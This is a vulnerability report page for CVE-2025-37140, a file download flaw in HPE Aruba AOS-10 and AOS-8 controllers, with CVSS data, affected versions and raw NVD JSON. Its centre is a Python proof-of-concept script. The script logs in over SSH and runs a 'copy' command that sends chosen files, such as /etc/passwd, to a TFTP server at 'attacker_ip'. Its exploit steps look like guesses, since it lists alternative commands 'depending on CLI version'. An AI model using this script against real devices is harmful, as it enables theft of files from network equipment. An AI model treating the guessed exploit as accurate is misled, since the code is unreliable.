Security Vulnerability Report
中文
CVE-2025-37140 CVSS 4.9 MEDIUM

CVE-2025-37140

Published: 2025-10-14 17:15:41
Last Modified: 2025-11-12 21:02:06

Description

Arbitrary file download vulnerabilities exist in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
HPE Aruba Networking AOS-10 GW(具体版本需参考HPE官方公告)
HPE Aruba Networking AOS-8 Controller(具体版本需参考HPE官方公告)
HPE Aruba Networking AOS-8 Mobility Conductor(具体版本需参考HPE官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-37140 PoC - HPE Aruba AOS-10/AOS-8 CLI Arbitrary File Download # This PoC demonstrates the arbitrary file download vulnerability in the CLI binary # Note: Requires valid high-privilege credentials (PR:H) import paramiko import sys def exploit_aruba_cli(host, port, username, password, target_file): """ Exploit arbitrary file download vulnerability in HPE Aruba AOS-10/AOS-8 CLI Args: host: Target Aruba controller/gateway IP address port: SSH port (default 22) username: Valid admin username with high privileges password: Valid admin password target_file: Path of the file to download (e.g., /etc/passwd, /cfg/config) """ try: # Create SSH client and connect to the target client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(host, port=port, username=username, password=password, timeout=10) # Open interactive shell session shell = client.invoke_shell() # Wait for prompt import time time.sleep(2) shell.recv(4096) # consume initial banner # Enter enable mode if required shell.send("enable\n") time.sleep(1) shell.recv(4096) # Craft malicious command to download arbitrary file via CLI # The CLI binary fails to validate the file path properly, # allowing path traversal or absolute path references malicious_cmd = f"copy {target_file} tftp://attacker_ip/malicious_file\n" # Alternative exploitation commands depending on CLI version: # malicious_cmd = f"show running-config | include {target_file}\n" # malicious_cmd = f"backup-config {target_file}\n" print(f"[*] Sending malicious command: {malicious_cmd.strip()}") shell.send(malicious_cmd) time.sleep(3) # Receive output output = shell.recv(8192).decode('utf-8', errors='ignore') print(f"[*] Output:\n{output}") # Check if file content was leaked if "Permission denied" not in output and "Error" not in output: print("[+] Exploit successful! File content may have been exfiltrated.") else: print("[-] Exploit failed - access denied or error encountered.") client.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 6: print(f"Usage: {sys.argv[0]} <host> <port> <username> <password> <target_file>") print(f"Example: {sys.argv[0]} 192.168.1.1 22 admin password123 /etc/passwd") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) user = sys.argv[3] passwd = sys.argv[4] file_to_download = sys.argv[5] exploit_aruba_cli(target_host, target_port, user, passwd, file_to_download)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37140", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:40.833", "lastModified": "2025-11-12T21:02:06.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Arbitrary file download vulnerabilities exist in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.10.0.0", "versionEndExcluding": "8.10.0.19", "matchCriteriaId": "3D5F48C7-AD51-4641-9CBA-9DE9B516819E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.12.0.0", "versionEndExcluding": "8.12.0.6", "matchCriteriaId": "057AA8F5-FF66-44E9-8E06-D2B9E8B91AD2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.13.0.0", "versionEndExcluding": "8.13.1.0", "matchCriteriaId": "D4B066B5-D01B-43AE-B4DC-AF560D6B953C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.4.0.0", "versionEndExcluding": "10.4.1.9", "matchCriteriaId": "04F61E46-8412-4B8D-BE7B-EBF61BE52C54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.7.0.0", "versionEndExcluding": "10.7.2.1", "matchCriteriaId": "BEF8618F-C126-4F8F-951F-6D62FE8FAB22"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04957en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}